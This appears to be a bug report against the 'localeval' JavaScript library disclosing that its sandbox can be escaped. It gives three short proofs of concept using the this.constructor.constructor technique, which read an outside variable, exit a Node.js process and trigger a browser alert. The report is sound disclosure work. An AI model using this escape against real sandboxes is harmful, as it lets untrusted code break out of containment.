Sandbox can be broken

[CapacitorSet]

On both Node.js and the browser the sandbox can be trivially broken, i.e. one can access variables outside the sandbox and execute non-sandboxed code.

Proof of concept for variable access:

var le = require("localeval");
var hiddenVariable = 123; // It shouldn't be accessible from inside the sandbox, right?
console.log(le("this.constructor.constructor('return hiddenVariable')()")); // Prints "123"

Proof of concept for code execution on Node.js:

var le = require("localeval");
le("this.constructor.constructor('process.exit(0)')()");
console.log("This is never executed.");

Proof of concept for code execution on the browser:

le("this.constructor.constructor('alert(\'Hello!\')')()");

Credit to vm2 for exposing this attack method.